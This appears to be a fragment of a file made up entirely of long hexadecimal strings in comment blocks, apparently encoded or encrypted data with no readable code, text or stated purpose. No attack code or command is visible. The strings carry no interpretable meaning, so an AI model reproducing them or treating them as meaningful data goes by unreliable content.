000a4b18c5737cf7218f3962cee9add4e43ea112f49f8c426db653af867820b0c6726221316b6e521c9cb2de519cb50fd82724b2cfc592c72511626e7ce3a87498a86d27bfd9c48d65493bcccec1d4b826d2d5f2ec3b07e640e67985c5f1a485c1e019abcff6293d4bbe79cb4209f8743aed39f2f1a380ac0fe4bf582f509315b0975922027263546471fec5e67e956969ffb60c32ae87a57487694281cc13d96b5b384dd8e4a1260137c7bca9179736e58096c92f5c5f7a7c2a6f9c5829ea709fc72531212fc45df6bd50bab2e38031a91308f5f949dae55804cb01830d2e84c3a8cd79ff0b5fddba1bc163312264bac531222b5033cff282b3f19a72fafb2832e6a660a2d41016fa58bb905afd5ec5536d3e2be5c69585d506df98745b6e7e876eb0ae1449a566448ac0f150893c65c90facff3be2288147bd36a666f15e519cba62227c4fe0df51093befdaff80d2d2eb374bee72795bcfbebc340e229b0de1505918c86b5c81695645557e582602a975dc838913475aa022e8a6cbbe4b770ac2a50d005cd2761d22d8855a5cd6833805fa6059391cc817f3373245dffff22fb8711f7d23259d419fde952d0c281687b0cbe1c028ae42ccbbffb4994e77199830554141e770341177ac990b1f156f56d2af0e95ace6475ed9ee3136bca493b94e0542cdc324041173112b868eb630737319770de42daaad3653bc15b4c13903cc70af7c4aa3cc976c3c7dc2f568e2beadab95c0e723f0293d7e5b0b46106820e96925ed7b4808db65b81f23044da2d2fbc635ece4ebcc44d7ecae298d605bfa0e08d9a3dba4cb0cb17c1a6fa517c61cf10d247833be4c5537cc58e361ecf208780369704ab42eb913892cde538604ac4a57d18d678e7ddcf3d098f47d5dd33db3c430cc723afdbff7b19b18d9c12e13989b7968e4cdc9e21ecd77eec1bec2648a375ead94bd36079e6883e85fdcab77a12d26b30aa1558913d4ab347362be4671b1d2484782466075f0b881bdf596e98a7df1b55ade58e7e408051d05a6df7b0f905cbd4d39c1909928946102fdf0008d4ee8780a9794de6a712265707042a1e1c984b747cbae088e1fbfcca47327de9d9f002ef3b80bc5c79becbf87d6e25bc112e7d475fc1ab209ba0f983b046a22b2f12752832ab3c8e16eab00443e647ce8e71fd2581e417cca6184631c1b57d7bf5a42d7778e602ea462138fea22858a06b41f9c65d3589c5026c72d695423412379fca302bc94431cc2bbde96ffaa758d47eb4b399be1be2a0768c87ad62ab706d3dc2366310d8f06d356caf95983069af5d5cf55c53e079b6a63dd9b71c1f44e675bf6d99358b869e8bd92a1bdffd2fc4034195dd95eb9221c55d382130056e919a13f6c458dc9aadaa719f3201d7adca2612c9b42f67004c3aba8016bea734091b5c69f53d7c57df287a44ead58ee40b5c31d9942d2ba87ef93a8b1f4c86233484df2fdff20d8e232ac1c14d70667caa75b5285e2c8afdf302a213850ddf15f7383517ac2068699e2788d05000c7f95dadf9c80f9ae748457f2e7b0b884c224edbb81b796d50587708d89f446bb2bb48b04bce287ec40e3e81586d9d0c560584c1e0c906695267c25601405f9cfded4b90656c4f4514723c92fa4c2fc749c96275a0e33761fb73d6e47ae72aee06317f0d90628f171b9ef9811750fbd023c2504d76e8537ff5f96f18ba63983888d93adbf778b18d8eec56657456dcbf0df2ef1f5a43fc4fde5b3a096085e3f85a552b5379745351e0cc209e33ba617e89635fd16dceb1ae2909e1d4fd6a8fb882118b825716e05631726585b9cee689da1b46d971a333960dfa83f358b12014768133e6e4fabd58f9e7c71bf6b429fc51ffb6b1f741ad657dcbdd1b811abf801ec4ddbf7b6766a445203ce14a6f018e2014b4a7da03b98ba683049586c86dd3a481db0555c69c7e1d10704be3ddf82fc514872e4d7069cbb9ac3e8579695b5bd527b794cb182ea093dea061109738f564ff800eae3d65191ddfff9137ca4b017b3f41e163c0c4e997eb5f65bb32d3cc*/
/*a7cee9fb6ed1ee69dc8644d090786116e1dad910cbc2066aa74fdd2889d225217636fb36a1f0c5a9ebbd061d930332d05f95afb1b7130eed5ec0f0c486b7349eed4258671a004826183d41515f8a34ad7eabe64b5c9c108f805a94955b5fd0dfd773705c59cb292bbce13ac08cc53db99c3620ee190c788b75e1c33788cdb75cab0dc05d4b2ccf9b760cdeff05f85dc0f86cf9ca49c56e3e015b48a69e3afd51767224c5686058e09e6e62a62c9a704b786db932be4c0969070e1b5dd20daf2155a9b9a1cf73001e46676e04eb0e4f12a848be072b920f02e18636761e9236f342ec96b200e874a7b8fe0f318a7f20529704abb343b2c760b4faa72cdd21e60e08d62d9db78ceb061b5eb96d6c2a89e7be79365707649a0659c385c86102ae285d88def76e2e6e04e1b03ef2c80fe55c7f61a96bfdb14a7bfada1bc89569fa637e09e61699460d592f6280e1de0a4876ee7f9893b7c223b34a48445a6f94326e42e9264fc9063f5d516c1ef45fb689e8be5066c645e01210b8b1d40024026cd784f18e5339e898f5c2388baafe03808a9337f83b1958a31156750e9c007e69feb9757d47f72d3032afa7e4733423de4d32542f4d1b82bc89698a5517755b95b4cf212e8ca2bcdc77e27993c1ae7feee16d05631d685184dea2117e3b07ba42baef438b0e187afd05f123309d462240e6edd3c5540d6c8cbd6bee082ae813d06555999f6380bab1676370552c771bf471229fb0ddd69ee2c54b9737b460249dd25f7d6fb43b34fee4241baaae0d565d9bc25df6d4e30ff5511b57360eab0b2543adf337f9beb4bb3b0b302bdf30b637445de5308afd4a01518d490678ef4ff647fee7b13ce7c4764e0738e62d6106ad4ec4b49ea3c3d9459e36df243cc592e5265def861b2ce36c47a871ae580bc2e1f4d54ffbe6103f73cdd78c864a313fda0bf1ae7f3b22dc37bb534812515ea43288942c80c93d58cc99c02c9e4b73ff3f5069c2d0fc6248809ceb2cb6dce3fd13affb2c501eb61385de1fb0e234750bb447473cbb25d0a8a367a7190a57934a506b19220a53f8336136b3cf81516e91af0571265db65fe90f3e662b2535bcd1189a504354eb2f28b8943ba618725f72b11ed9a9f7ddd1f219287f962bae543fd32d2509f5490de9e9bc8ff3479e5cdb7ab88b8fcd55a38f48199c0a524c7c61900d8a5b3eeaa4937f090e59580bcde882f3de43a48aef5f2d1b4aff6d2e78d5b465ce904da14f731834bc653051573680cb716c96893c45cc4144bb4ec296b0699aa1fe04bf51af2c8dcc9660f168adad991f2bdc62f885146dedde2f7bf5cdaaf538dddaa968245802f6642eee362704bf3c40e49373ceea247f53d4cd6fa5276a81c4278e8b592616ac9ad2c7951aa18c8dcdb2d7b29d0b048f8b0ed443b0739411b26d351b1b156a7e85a9042d3a2bff478dec0dd5059c51e96926ef25557c79e69412fc7b8c4732c480b5c32e6fe1dba113403de155c38f4c4da53a55761453207be710956eaf7734110ef6843033368c4ca5acb4193e61e921af28249618cda69700a3ecb46d1e4fc7c6d8d15472cf050cbf5963eefc56c14dcecd104d40cf3159e6e9e964f2ccd867e8437779aad565efc5ffb00790f411d8eb8bbf3fdca7fa50a1682e5a420a8099236387ff03d0213ae53a4f12a1add87ab786cf6406079ba0d1c9f22a543845ad9b1813471448e6bfbc11d4655e84ceea441ee885471da656d6d0481c1edd257803e3d3364ae78e9f3c023706bc230b2da78694b321159f9548e16cb0cab2fc3964d2c880034f775147d99bca3e15aaed44f5dfeef0f67c84419aad09d48e969775bf548e31f6f4234739584eae54cac9a1445500846c414a5a72d6baa3dc72d74a54fbbf86977c9cd44448309e5e217b7e98c3080744edb066d2c2f490ff8df234c8b17559493faa062853c76057f0403b2f2c49f77aac6174903238807f0c5444494300ba5a04f0297a733bcc8c3d94152c804b6cb861b27bd004986c84c58485bbe073badde2b042e6df67a5d13311973b4dad74016a94a88e723e5228f8218af1999eaa92716065223f127479d1d88ca7fbfc7beaf41d31bf4d551648b9cd36b762c7f55d2fcf90b6cd25c41cec9820fac46113caabf09753b85b5ebb1439ea63304890e698066b3232c909194365b4aa823a42a881dcdaf710716a0fe7b3f334144420069ff8bec9fd8224f6b4dbeb45772d517f631b3a6042c41653c3e2de22e74480cf591b7d5c26d256f024e58eff3e14e056db1b6b0c54afa105c2b88715dcb7b85d5c4e05dd7b84a55138709715650eb6e50348c3a619e2e5632ee77b490ac9094cc83b880e75c53701532b66d21c8ac2198aaa0868e5cf5c6baae13ce7a778b8a39276791e2f81ac62e60961646bc86402023df64a9378605907800435412d65bbaa9cf6bd9c4e3fb31860d540f53f88e3b0a60903fd161712e94adee7d5bacbbdd011e04900c7899ba3794f6fcf00600d95455b087c0637f131ce2912baaa9f1e565aa738215db51857a4fda6c7d7cebd5f373966e4751620b5083bb30ff7a1efab6ea52cb51b3be63eb964009a2494e9a89c05ab4a35dc0a24aac727bb69e7bd87c90361c5b3fd722d0cf24419522ee12576427ace54ce8eeefdf78d4705b41a305bc5a30dc818b8c834ab745bbf9139d7d4fbd44a287dd1738609175c38e4df6c76615dfe9c81a86f81935274aeca7e2d5b700168994fe3bf8bcb87a50b203b3caf04662b62bb67dd6c0ec2bdbe0d175631f227f76bdc28e5df92b86161c3a3165913b5e31630cf5e614ce2232d3ca4*/
/*23b65b8d340eb1f5764975429cb49c4295c4fac28fc254610e4d54a2ee6ce7432ea85485c3640bd3bed08d0aac23010a2b4b75657b3a57b92fca247dffd43a8b34dae4c59d8559cd0c098465d3fc7c3fde6c8b8bbbc15541401fcf30ed464498ab202e8df59524ac43b0ef14ec7cb6475763443c199ef364956e5592e4443ec65791f17adfc98eeb974a08558f491a17f4336091d8fddd1eb53d673b13857126223e7c859ddc67abd7150faf6ff02ef79aa7688bd24556d49439c53d4fb67e8e243da780a5fc4ab3dc7575da378fbe74194a804173116cb197a3a88b115d0d3ee8639c50642cf6b52ba0e1edff6ec74c100ad8b7fd40d1ac7e01b35430792a893bf3656c1d1f97e86b89f3137e6eedef59b9396f6e1c0f341d8bf2733bef9e4fb641ea7cd1b22cb3f20c68bab13bcbe54a4fae0c7c36e885a134939516e432fb242d9d565d2a617182c752970589560aabda22ec4ff5bd9a4fb608d4f75024dcae9141e1996785a79d3dcb522e8d229efeededd35c9a5f2572032116129deba22889b32d05199586a56090faa68f4b0c550c19a6bf9c981482b2f42ad0329ae4d30e21f50f3404e4e5deae7a666cfacf76f1ae258d409b0c898ff61bfa1083901da68a154dc22b890c93faa350ff05f18df64cfd0bbe0572b929b14a5edc8f58d3dcd5ee38d5f040fc8badb5059db4e181dba48b0a2fba15da935873bd10fef8f2c262cb2e471d26d01d4ceb77c7cf04ed9efa23ea1bbc3f26e33cabade722949c7a952268a56896f9d2d618761c1f47ab4885ba82f2d7835fa77fcf6356eecd4236596c88530c331b7754763ae77498ec8a5900f5c35a093a0c305dc329159769f74377f08d584f90e9d3ed5bf64f1a739e1180fa094e3974ebc934a8f6fda1d11da0b22d650475fe48d99f2ba0af118bb72b7b28cdd88ff46c388100911c25a0ea9773bf265430bf5806c27b10a9e5ef700a84af9126027cafe261193a941ab5c47b365d4a3c40e208394d688fae9f699c127ded202fd8fe2f02423125dae1ba22712a71ac5c2df80075c2a3b66e3da57cadfffcbaa5effa15657f6069d9b497de36ea5a5e3a936af21a5e2573536d5861780e28fccffc724863cba1b3f926a651beacdd584c5e2492fa0feda2188253cf8d616308714f1104a22194626cec2448f966e1d34958d2bde7f879994a30ead65c3438b20bf47d0ac819c10221a3338eda7d6e09df19911f1f38c854478233cf828e1be0f8b783869ddcee9c316c1546bc076f0e38fb2a37ad413ec9227c671107051cee23a42e8c8d37d3001f4517b84b25868746e50bb4f35ad0614b41ae5b9cdb619bc36b536001d92a11723411d529b22a52d19f9331ca555f0ee897f903996c038de847c8cd61ee9996a5277456103554166f53fdb2ac3deb04d960dc10a505cb1404ef256cdadafffcc66af4d53aead65477c6cdbab1cd8842d925a837975ff9f2d8d98199de44d47fda16876c154ce689f82f5a80002a4221fd565d2feac33de93353c9ce1087f89a8c30c359f7780ac4f4a16c54e0f116403a5ff88637e601a89d5207ebf48e91aa99254c5714f046fe0e3ca223eb98693ee88ba1aeb90d230bda434af1d1972eab2d5874f4127e1c82925e589424d099588d225255f45ad8aa02fa88d189c048a0325cece8db4d7bfb02ff21da29106387bd3afd0e7fd43db5a5a1be730024aaef7fbd6eb7a59207b1b89abf4ca68672496967455257a672c25f98c1b1284c71dd81c5825f8f5868662b31adf0edba4cb3ebdb60241e9d00bd40579feb40b72e2e1be0925604cae5922e3b1c2eb44dd623b76254f885f46b158eb933eadbffcc207a64275b383546134f65afb1a99172af816885c1741ffdabfaeb66177efb8cb3cec0a9dba748084b5858b1ca92e97879e0ed30930aa3c8c2f4283d4ec667274eb50873ca3bca4b8d29ea2d6ee7690c688d7e7e6c183a3b90ab0c4ace7219d907ce551791fada1b7d391aca0e95510b5087ac647c0bcffa3e5291461a7d4420fd5b2b777d6f0cb0d25c49b68608559b21e20ff1d37f263c2eecfb7293481b3b21150b895a920d700f924cc7714362ed23a6320011b00412e9ad03851b003fb891c7a00475c0937bf4e4e8e7dd630591b96fa4134732aadccd895fa6c06df75cb27c89796c58bfbdb97111214bd7f24c7199d9065b10ed6cae6e0e19ddfd1dbaaf67f58d3afb39531e5e23803b9b0810bbd6f312e5a3635850e389b718e18f508c185369282c259aeadf481fcc23626e2d33a807b2109b243d32330625757bc83e317677a5b4199944a99e6ace28683c53c24b7748948ca80bd1cdaa46345f3dd24fe1dc634e94a473dda5878f243759b664a4e9040b6871ce0f7ca7870aed76878988d500c569c6f5c44ea9db9f47c8d57b9f7f6bf6fdc96ab640921810e5568bf56f3bf5fe5a1b0ea2c0049fe90dd5a0f4affd6ce72ef98c2e56a86739ad761c3cfd5627e8224ab6c54cc8d94e09a404f20106e74274b417f6ad937a5e7d2b40839e39e52c04d3bacb6880a8ae54c2f47b08526aed0dca4c9199547b44f8bf8630d3801d6484d29bcfa302e2fe91f25dfbea216e049219f37e8cf7f38814d04824dedcec7f211b4f228a06eec6efe283b011d90fa25e89adf1296eb12b111a0436c77579d8b92257294141c38bfe1e7c869837d3b4741865447469effd5c44f6ffe8421ce3126618cf1b1e8352f6fd20fe9b36377247efe4f051a70f3a2fed184ff31348c3b8c80c9f72043ff57715802101be99d48e65a68de5f69f32a15dfd003a0886e13a36899464b112ab75cb77f6c0*/
/*302696f0a95bb65c9abc0cf47ac6e83cce5dad5b4011c2e1e9229c2a929ee3ebcec222d12d37440287b1bec2da9d485f178f8aa571dc1fd7bb2d22a27e36d906b93b0199a61d5c8486369b92fb228655ccc622b52d32117ed0d6f765bec0a8379b64839dac1a068c221372b1dd095f4e7c82c929fdfb5dc29197a3452ff1dfd9efcb1936748d2361bc765065d493a3d86e451da56cf491730b3a9c1ab954bf99a3aada0adfdd1a2aef24caa4fe7cc7dd4d8b825af65aa0c85140f1747da01e62638a83559127102f7c387e292a64daa71a36004eb8d9685a49dba6b660abccbb7817b58eae41a30e8d5487732103dfebcf75a658f7c7ceb38d0514d5ee24d06c76d235cbc82a4017aa33842c1ba7a0c47ec5665f8da59dc5a7441d0a9077a482df2d37fc137f242a8c9a096a0555967961d55d074b7f284f6bd59f709d89882963878f9735f1cb4b26f713e6b772152acf93d9e51b98f2db32919b505958ed85b542d30f58f3f2b428e735e33b28bbc5833b09d3436ec916a270decd0264fb93b72e66bb366b5e513a04ebd9d584e40d7bb988ab396bbaf99c8ce46e450aa994764c1731e76a550820a6833270a4582a53c2bbbdfbbc306721947bd639732c29083844e8482c36f130faa15c34250336753b54c4f107f6f3b872c971e63b8897f5e93fefc7ebed6ff78949f6fd410a45e74d845a27093408b231469dbf4c54de008bdceae90aaa86808a7de39937164b93b8c5c0bcb04439b5990a90334d0bf79225a13155d60ca8116b1e1fa98b6539f0d7afabf824a03007b5fac84ca9950f36c78dcf45361bf712e2820d65a007789553fe14b3328c0ffd44f5fcafaa0f634f0f8fd199081b2d1d330d5b08fb3d0286f4b3a8ccbdbf3a70f78c8511c5f6e83d16fa0e100d9ee00280ca9b8cf5ca09822ccf1b23f01c1f54414952972a1f5446901becc402e2df27649f71ca8f569b9021945dcda41aa5c5dca53da35174538477473888d262c6d87152f99ae25eff44d07fc1a9b9da49efc2783b98435c68c9821bfd1aae15434f3573e7bb9accc7e04e06869828f381262c8ad64aea9173ddec67809074648539376edbbcdfbcc37d518aa1ad9e154b2609ddb05d3a515ef6cde79137d4ae8d1ed91e605b1a4581f7a4c77aebb7381a20da9260ebdf43b9bc550af6c1ac3178435ff0a17310f99a3674e872eedb60ab99d3daf85a504418b20434312799e873208f5fea14f82cc65fc6938d3575b35dd605d2171be85366be0a8fd99b43e0f3dc982ec92f9566306ed7befc659d5eb0230ab9bdca7d530ea3d43721091acc7c064b316625df2b619c1a042fe027f2b3fd1b5be1c5faff5330716eced6460e51da4cb0ac1de429963f98531f9aa3308b594fc8474290acd20b0ec3c4623d9b720a64698b98de4edf3131c3a58a4ee3acfb98d9dbbdb8d7cf62722c7719818a37af869bfe725a692b7910509ea147f08360d0db8a5e7fe3d243170dba99a1c178c7e0cf7b4e43a84b6af5f122a345998d62a395ec0af6ea8d96c90813ac6454dff435679a96fc60fb2655f4ea0d292467299b7102780467fb600dce485febff2ac9915b9b902407f4d020a4435266bc06de548c52377bffb5ac0d5cb5b3dc471fce15d9b67a8a95f81f0bac93997b4e32deae573d7a61dfdba1a182c282eced6a7301eb2df1698dae86596ddff0e3c9be869579dc909fcd329de80ece92af0b3efb46d72b48b7cb00e5c30c0367a9a2e381bffa76288228f659bc53d3c3349ea8ee7a6cd005c6f89526385dc3a07d36bed14c8ebe55eed121d271fd8dab7af8137df316f2183fdc72a30283db286c0836e79bbac76e9ce13504ee8857f00bb93ad76b517060d54bee23cc99689e890a6c14019bc000257bc9c7deefdbd2899f76feeb940b9adc1f1593dcb2b975d9c1d81013909f831a2ca6d06b495ae71494679969e759a68ceb645838e8a981fef92ea8e102ad4b3d331d51213adfbea76233eab3e9c58f36263c128513520340ec851aaeac353d8e424f58c7984416ba7aae3ef01dfe3a20e239962c3ea9f58f6f5f5f8fc49d7e30540d13870e896149494916802e5cf8ddc1dabe48c3ff8478c2a04a284387539d7a8a49e53572237d799ec8e4caf8536735b5359ca68c95c96acb577df03172ba180700d69228c5e54f1a985c0ecdcff1da3b42c959ee4f70bd5626e44ccbb790fa250147f53002e29bc2b637313bfd8b27cb52d6bed0883b525d5d4c4f89a775d0309baea6202d3ebd9e4c52f4d4aef0e0303cd09fd27809253995776e1c15074ee32e16a7c54ddad0c1c02e6cd9f30f1abc8d3f1f7691b8f2c07b60586f3bd473953c4bb854250889fe04d99cb82f7fbe3876b7c19183d2865a18c8948eac8db7d464c7d4f5942557edb6a7882be8798a2863c41b28b06748c1ba43d7cf531647d8846544ffd1128b889ffde6904d9ad4a2225b5a7af7b12b0fa306da8022ab41b0eef8b35ddb6237b3f58fc29afb709d12e25bdce1af48e9223e88bd7d5a94c443d70cb62f72ca82f7df33026e1c6c31e2fcfcb547cd04d4088383361caa01de11bf10ba01737c3d31d878e41ce320222704fe568d3d55242d5991f1909245081ea74a4379092b4ceac55fc9da245a23d36eb8028ae0e2ad0266d76ec0d20f23ceb96b154af9fce66b14dca263f3f49c3dd153278780395c3df48dd502ee8b86b304e7f9349410a26192a9fda3fa1d106ff2b540d71ee227d65485a0a2594986bab48306f2732821fd77b8539ae9f81ba137b5c939c9fa967c7c748525f46d4b27e7f092b9f7d35a1532a2866d95aae8d4*/
/*6f53c8d5519fd160655f428b2ea03b76bad00070021e7ca870b1c3276d89b92c405bb910b3d137ec25507effb9b0362dcf474d3d77ab1357993404e58d1deb11238ec91ff07c318ad0aaf27ea4683d60e684bd6facdd8d1c10592b378914167d15c1f7bd0871e67bb2c49a2e2cc716ae713b1334a4559bf68b9ac3eb133dcadab82801365812e100e3bb77614a7940a45f5dbf5a68cb2b161e3a699158e262ed0e30483cfced2fd1b14672693b4e0732d13381aac550bb2ec84d1e4586f5bc8d31f55e090b0ab7edc446ed1fa94282bdd0e5aaf2d6153116f7cc045d085548d1d5efb62c27cfacb45047ecc1c53316b1b58c71c99038b46723ff27d06ba9821fd67398e222b888ac3ffaba23cf21fcdccdcdbaab2572d6b65fc4eaa0fcb22434b550b6839d37fc6c0f38700971125e4e623515679eb4885e2015b6f818336af8e527c26b38aa89f9cce53e6be137089268fdb151cc2168b377eae319792d1493133c3193292209ddfabaa465362675ec41003c1b50a20e476798b0a6dd2d16efc796083b7b6e86e60a66f14e9de3af62ed8aa82f0c03d587f7926a0b20ede66009396748c6fb7098daa63ac764a2a2f708a2f4c75d790de5811609c5b926981198f3ed2d57733f5d11c3d44fd738c3d7f5eddaa03c3f262fb31b86ad81f95fb7c28a9367a23b5a8388f55123c094767b23666f48990cabd36873511f871090343a0374d86909497709b9c076a0256de1c971cb5f62408ada1003190b703ea70ed9dd16fef02ec1692e43f8ff081f8e95570ede91929d7f906821fd85d3f3680ca4dc6330cdb71b18db71283c917122ebbdd2bb77b17dfc4fc8ef95324a7543d726d95a06401cd0942d3155819f7722880cc60a8b9277ea7e427d76128f41f8d201b089d6c1e4cea6af9eb6e123d27af485bc9fe862eb987a9a4e88cb5d20c036b879b7a500f58381f3522be9ccecd32193d8862cb3952e4ddd79766a9208c9799d7e8062dc3a9aa17aefe74493f2872c22b80401a6b3be80f4292cd1236cc4cf74870392c93c28f8d8ade16c9a8a2815099236ea671db296429ab37c90da337a5638cf28c949ca725b586e64e65891445e49c8981fb97368d6e3eb4a6a140ed3d36ea72186ba1346c1c3b7b720bf9c1ead0d0cd8090801b4941300f41cc4dcabe26967834cdecca5cbf58aa16258596aeb10b493ba14c933ce26ebc1156f9e44ce9020cd7715942e04b2e0745d12c9099aa39c8c45165ec19af58db4c71d5785d0c5027552d2d00c34a4e73523e01c6c074eba834a839e05f711bfd70d13c65e35ac2c7361c6b9d96c1016c328ba8d2554ff2bb8f3887a6a7be009dcd80839361cdb943de652c58dd663218d9c15d5304b7c37f9af05fa515021a874450531632477ff997059cdb2bd86abbc9957c9e5a87b6f219e2f9b6a61fdd1c3c9c7419634d083aa2d90d538a71dab21ca89abf9b531109e329551f6f702b25e2dab170ba29a1c11f7059047105290d1fbf4f2538ec2c53696837b2aa3f498b4216f9000047da705a04d2f7ecaee84b20d2dce0f073fcc06298ce28ee4a59406c38f05994fb4aa12fae76beb0854017c776ab24be16e040a3b63c65714c07fd6a73f33ff5428789a4374787e026e9d15e701fbeb0857f8477270b69fc853616ed1c2c438ba1b56ad5e7bc0ea5e2866ae81ce5595caeb4732cd10b21c70398f2b6789f794cab2734daeb22ffb446d24fa9a5c216d1255a603dfaa4a646f2cd2ae3a97d141168fb413756e9cc873695c1c87f0d0ab091c3742f3f4c344e3f679640fcaf49047fb05b602e33ae8649a1e07fde20cae1a7819a23ce022c775f65eef11f15adbbb7930077de80c57f88e88a8c403ac76a6cf5b7eb6f83daab9cb82224b81f0cd1195c290fea475b1a0f04323f0ff6892aebb0ffb0e638f63b0342cfa52ddb10d7ceecf8bde2055be1672e8a4b73f82825b96b02625c6ff92399ee65af937c88391856971867752ebe654b163b0d662ae5a3fe6df37382573f7bc91075bb6e69ae4ddf48873a3cc83ec487ba11da8d0860f347b62889f52775bfbbeeab0fbef1267c708c7d096923f38b34c3f00a1c8199ff5af3edcf2263d68805d8a0b8494a17d90cf223a256bbf1cbb6c09127d777901bf7f87e3969bb6ebfe7025e3b217882659e8dce50b57c31701025cc9e93bae280daca0e4c39d6fe6e03d1f88be2a15e14def370798aa259ae021fd1ca6747cbe5c2f21a02a02fbb356bf64bcf346ef86edb94e65614dabec8201e3fa7dac58fcb25110aface32a400f4bdf62f8c0c12fea4da22fbe0bb2b71505e6934c0202a708bb69a5593c2341286f16c0ef23a92a2653247bf6fdb4f88b9fddd3f7bcd98ca601b75e7a0274183e6160f7d4f6652692c4ce91bf1f11ad36b7b5b474115cf4b49608ba0d872083ccd2a92799adf2cb8ccd9fa459f4192c83d83fb157faa8a9ac7ae72ee9b3697d1fcf7d41d1065723ef2c0862b377b504c5c0c1579d2f08b5ef539632810c0b8e88cee35bf9856dd1228ca50aaf2d47778a4fb57013058c73e4722051e66d89f39bd7771116e06e674846ebfe845c754bc3962b96a3c83408aa97ef3111f5d922af7ef0cf198a3cd3a67199c6eeb34613fb78e3239b95fd9c4e16b59adb02e766c7cbd918b6d672c87e2d01d90fdef717d3beda86d64ad3740da9177b412b345c47ec6dbb38597adb5680492adabbe5135b0283a207f1877ef6719587b061d794e4abeb2f1b35416f6a7de32d800068217f2a87beb0d4d7b2fd7ef5c5b9cd55098686957d7af5512a04f6cb4c02d984a78080e0131c93fb*/
/*64b8d319b00a06276d122dd70778ff49f05dd32305d88ea74b8ecf6e51f28fd1be97e09c6e9d639e5422f2f07d3126a18d0676524634fd7d882600aeb32412c3aedf297c5a9e6c8fa465d15e19fa01f7ba8f3571a7fbef335a4680f3c904670e28b48a78333f95ffd8680dadd0deac1237a33b96cb15bb3a286ae711ac5a0ed906dcb59910a93b171f991692a7e80efa8936c64d68b5c281fda27bab5dee5dd73506153e2defbda0986745c15889403a20b254090d551ffe67859282418e8f570e28ac2ad4160c19a6b7d8e637e6d9ecab4605a8765f90b0edbdf7a93bfeb5214bf1d05b44618b1387ae796d5725888342db616c2638b0d3db18daf014d110476a0208471e0f2ed7668d9fa4fc2f0091424dca675fd2b59b8123ca46d38310cb4bf6408f1a0a11b6217dd20119624bd4e48ab749611cae2f0f4577c534dec291d37520f65b88c40bb281b8111eb8ae0fec811b899fc4d63509fa27d4c80e1aa8867316c394a91994659dea751f96fd2f225bf10b4245572e4500e3b7b9bde9607da009db8355b56520d1ac638112abae0e989ee4f05bd239ca35231a338518e66f9918e0c8a168e5141a82a8d45a950dd0d9093442ed39d9f5874f884006382929466541f70f660faabf7a95fa8e2e6609f170c798dc6fefb7dc5b241a4723f15801194b0851a62e9453e962607cac0ab335c43b2fad9aef2b2aeae8b3e223bd29f57892edb044ced4c83357205f683334ef76bca7b405d1f2e2aa58f4d0711df58129204a1116d0a12103e51aca12ea9b62c982b13d81b51e2faea4b43eca3b1191005b7253eb05ad1fb8368476c9a3eff6549315eff48141fea599ce52fd1d46a9d804346cbc697fb0ae6a42ad25c90f188889a2bafd59b549e03420b905247149db0aefcccd9c3ada38aaaf925a369cf59a13f735ad203e6393d1fa7d9d61fa60bd02d7dbc2ca798a3edf2e9dad3f2c97a63d8473b3b5a753acdb0b7a17177be272c73b4228d8c7cbabfa2986010aec4e206227ecd51edbc8a810fcd397a65c6336b2049f666f61dbdad140d732875cb708c3bfc9ea18c8b3f32c3b296dbb439f03a4582ad52a2c517d3642b3c4f2152b94698aa406f5a44ee00e555a9b79c909256656982aff2039ee8160d2c0addd61e1d21e98a5d63aac0191caa9f12092ba0762c225ebfa191b3ec1a3248f06c084dbc19469078cce75eab626bce0c26c99be61de47d7852b52e698589ef03b29a4053392c19a5a560063f9bf18bc8c50513d9b6ed9de9583487b801e1851fd2211439ffcbb7b7955249a9d1d70ac37815cffaf3fa55dbed29dc572dc3c1f9afd3ca2fbab7a1b2769c8f061771545ad9a282b46d410e92a83b192a91c8412ffd68169915db5f9c6e0aea7541a10ec44a87173f3c6b50f0807d227003a01bca02b31a03048b08e766af0aca8d888c094c34b45c5c143a9761d208e84b593120c45d56374925612ec3aab4fa37fabb21578a71e8e270c7f494f0fae88bf51a57b44c46229432f5d467c0b5635b060733d63907a33084fc5c63f7bd47d3f57f2be02ed01658eba6ecc03acd5cf018cd0841d698605cc8d8d228afc85a19e634635743deab6159a9bc854de3ac90db0abaeb6d4356e52ad487bb2a361a008e80870ffb25374073a19d0616a524d02e33eec36afc283bc8bf15fff4b9adcfd0b866248cdadf93e611d2ba024c4608813bbd44fbe83ee46b9105213ecd949c933c24e14b9647161289cfb25286eb4257f16727a8259a6c0c7a4b56ecd07b8ba41f504936ec4e3b05fd9f538162c98b1b44c71661a8a1fa96e706ab3a0002dded2d111b2f35eb4a6baef63a66e0d4dfccd7aad0c9593b6208c97baa724d00f3783b51b3bd6c6061fbcc6d630aa77cff425705579e003b541f9b992eac736389daba97d12b63e94bab5d26847d9ef93aca5e6011b10a3c38791600b310535498ff156d65203184bb4afa3bc04ca8990d512ec4f19908a28e7ad94bfde4a13ee6226b7b5d2e48f72bd7a9bf7fae01199ff182459f467c824f384fbf80acc2c119dfab0df1933aeef7c17ef1b3e512464ccec41626a32dcb057bf5c48377ed44d160ba39046c96f45f3a988d5f3e5a15463246c7f5b5e6fa30bb542f5ec9065b0a23c63f086fb4e5462afa48d244142b0206394eec20b37f6fd187b351d107f3daa55f3738e655c337c80624de839d5d634078e0c97b580265ce23c4310d490e6d4a125b397d78c395e128464641dd3e8fce824a76af89d5020f11f71bdb2e5f5eea40ef740e8a2611836084e1bf3fe01e9969897c332a358f86ba02accb62a75123a0f0b4e97a5e164efb72c37bbf65b41b3227b55181e9867f306588a3165da1aea3d3de7e4a4853ce77f94b2f02d1d2d20d20f1bb678b4e2bf6089628995536a91c11c5f167d796b106d81359f0db8548175764901d13f9007a47c723ab05bf13aa780e849945bcb374a6da9cec5428d0b24a25dfaece768efa65a90dd0a4e40ab01b83cf8dc99766a7e519ce4fb89a57502f2ec9b254edc0105b8ac6f93bab35b1bdea78616ba667c75c33ff4daa8aa56c7c1347bbf87e8df5a16c875f2d0d3a371c361e9c3bed443c1d049353f241f19eae554b7e8603bf3a5ecedf0fba1c7e6b7412906475bcfc7bdb257acdb2e0ab22e64cb2bfe3c2ca7ddb9cbf99edbd34f5096f0bbe9fed31ee0d8a59f9bd5e3a9fd1f75250273c83de66e6ab23c78f6a07121e0b03f0468c720734a72ba69cf60c2833a6bc9b8acd4e76f1bd25663293a0323d1e360b9bc610dcef0444c225a8ebe8644ad0a39413a305f25389ac71904b795*/
